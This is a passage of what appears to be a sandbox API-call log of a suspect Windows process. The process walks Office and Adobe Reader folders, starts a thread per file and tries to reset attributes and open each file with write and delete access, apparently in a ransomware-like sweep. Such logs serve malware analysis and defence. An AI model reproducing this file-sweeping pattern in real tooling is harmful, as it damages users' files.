ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0162.615] wcscmp (_String1="SOLVER.XLAM", _String2=".") returned 1 [0162.615] wcscmp (_String1="SOLVER.XLAM", _String2="..") returned 1 [0162.615] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c759a8 [0162.615] wcscpy (in: _Dest=0x12c759a8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" [0162.615] wcscat (in: _Dest=0x12c759a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\" [0162.616] wcscat (in: _Dest=0x12c759a8, _Source="SOLVER.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" [0164.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c759a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98 [0164.288] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0164.288] wcscmp (_String1="SOLVER32.DLL", _String2=".") returned 1 [0164.288] wcscmp (_String1="SOLVER32.DLL", _String2="..") returned 1 [0164.289] FindNextFileW (in: hFindFile=0x93ae78, lpFindFileData=0x910a18 | out: lpFindFileData=0x910a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0164.289] FindClose (in: hFindFile=0x93ae78 | out: hFindFile=0x93ae78) returned 1 [0164.289] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910a18) returned 1 [0164.289] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd00) returned 1 [0164.289] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0200) returned 1 Thread: id = 4736 os_tid = 0x13f8 [0160.924] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h")) returned 0x20 [0160.926] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0160.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.927] GetLastError () returned 0x5 [0160.927] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0160.927] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7718) returned 1 Thread: id = 4737 os_tid = 0x15c8 [0160.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h")) returned 0x20 [0160.928] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", dwFileAttributes=0x20) returned 0 [0160.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0160.928] GetLastError () returned 0x5 [0160.928] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H", dwFileAttributes=0x20) returned 0 [0160.929] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8498) returned 1 Thread: id = 4738 os_tid = 0x1628 [0160.929] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2")) returned 0x20 [0162.319] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0162.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.622] GetLastError () returned 0x5 [0164.623] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0164.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8eb8) returned 1 Thread: id = 4739 os_tid = 0x1634 [0160.930] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v")) returned 0x20 [0165.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.814] GetLastError () returned 0x5 [0165.814] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", dwFileAttributes=0x20) returned 0 [0166.061] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6908) returned 1 Thread: id = 4762 os_tid = 0x19dc [0161.450] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx")) returned 0x20 [0162.320] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0162.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.941] GetLastError () returned 0x5 [0162.941] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0162.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b808) returned 1 Thread: id = 4763 os_tid = 0x19e0 [0161.464] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx")) returned 0x20 [0163.213] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.217] GetLastError () returned 0x5 [0163.217] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b5f8) returned 1 Thread: id = 4764 os_tid = 0x19e4 [0161.465] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr")) returned 0x20 [0161.466] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR", dwFileAttributes=0x20) returned 0 [0161.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\accessibility.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.466] GetLastError () returned 0x5 [0161.466] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Accessibility.UKR", dwFileAttributes=0x20) returned 0 [0161.466] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935398) returned 1 Thread: id = 4765 os_tid = 0x19e8 [0161.467] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr")) returned 0x20 [0161.467] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR", dwFileAttributes=0x20) returned 0 [0161.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\acroform.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.468] GetLastError () returned 0x5 [0161.468] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Acroform.UKR", dwFileAttributes=0x20) returned 0 [0161.468] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd495b40) returned 1 Thread: id = 4766 os_tid = 0x19ec [0161.469] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr")) returned 0x20 [0161.469] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR", dwFileAttributes=0x20) returned 0 [0161.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\adobecollabsync.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.469] GetLastError () returned 0x5 [0161.469] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\AdobeCollabSync.UKR", dwFileAttributes=0x20) returned 0 [0161.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c9e8) returned 1 Thread: id = 4767 os_tid = 0x19f0 [0161.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr")) returned 0x20 [0161.470] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR", dwFileAttributes=0x20) returned 0 [0161.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\annots.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.471] GetLastError () returned 0x5 [0161.471] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Annots.UKR", dwFileAttributes=0x20) returned 0 [0161.471] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77628) returned 1 Thread: id = 4768 os_tid = 0x19f4 [0161.472] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr")) returned 0x20 [0161.472] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR", dwFileAttributes=0x20) returned 0 [0161.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.472] GetLastError () returned 0x5 [0161.472] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR", dwFileAttributes=0x20) returned 0 [0161.472] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494c40) returned 1 Thread: id = 4769 os_tid = 0x19f8 [0161.473] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr")) returned 0x20 [0161.474] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR", dwFileAttributes=0x20) returned 0 [0161.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.474] GetLastError () returned 0x5 [0161.474] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR", dwFileAttributes=0x20) returned 0 [0161.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494ce0) returned 1 Thread: id = 4770 os_tid = 0x19fc [0161.475] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr")) returned 0x20 [0161.475] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR", dwFileAttributes=0x20) returned 0 [0161.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\digsig.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.475] GetLastError () returned 0x5 [0161.475] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DigSig.UKR", dwFileAttributes=0x20) returned 0 [0161.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76160) returned 1 Thread: id = 4771 os_tid = 0x1a9c [0161.476] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr")) returned 0x20 [0162.946] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR", dwFileAttributes=0x20) returned 0 [0162.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.946] GetLastError () returned 0x5 [0162.946] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR", dwFileAttributes=0x20) returned 0 [0162.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c761f8) returned 1 Thread: id = 4772 os_tid = 0x1aa0 [0161.477] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr")) returned 0x20 [0162.541] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR", dwFileAttributes=0x20) returned 0 [0162.541] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ebook.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.541] GetLastError () returned 0x5 [0162.541] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\eBook.UKR", dwFileAttributes=0x20) returned 0 [0162.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c759a8) returned 1 Thread: id = 4773 os_tid = 0x1aa4 [0161.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr")) returned 0x20 [0162.956] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR", dwFileAttributes=0x20) returned 0 [0162.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.956] GetLastError () returned 0x5 [0162.956] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR", dwFileAttributes=0x20) returned 0 [0162.956] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494ec0) returned 1 Thread: id = 4774 os_tid = 0x1aa8 [0161.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr")) returned 0x20 [0162.957] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR", dwFileAttributes=0x20) returned 0 [0162.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.957] GetLastError () returned 0x5 [0162.957] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR", dwFileAttributes=0x20) returned 0 [0162.957] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75878) returned 1 Thread: id = 4775 os_tid = 0x1aac [0161.480] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr")) returned 0x20 [0162.958] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR", dwFileAttributes=0x20) returned 0 [0162.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.959] GetLastError () returned 0x5 [0162.959] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR", dwFileAttributes=0x20) returned 0 [0162.959] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934e58) returned 1 Thread: id = 4785 os_tid = 0x1ae8 [0161.523] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x940498 [0161.523] wcscpy (in: _Dest=0x940498, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services" [0161.523] wcscat (in: _Dest=0x940498, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\" [0161.523] wcscat (in: _Dest=0x940498, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*" [0161.523] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x969460 [0161.523] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x969460 | out: lpFindFileData=0x969460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93adb8 [0162.951] wcscmp (_String1=".", _String2=".") returned 0 [0162.951] FindNextFileW (in: hFindFile=0x93adb8, lpFindFileData=0x969460 | out: lpFindFileData=0x969460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.951] wcscmp (_String1="..", _String2=".") returned 1 [0162.951] wcscmp (_String1="..", _String2="..") returned 0 [0162.951] FindNextFileW (in: hFindFile=0x93adb8, lpFindFileData=0x969460 | out: 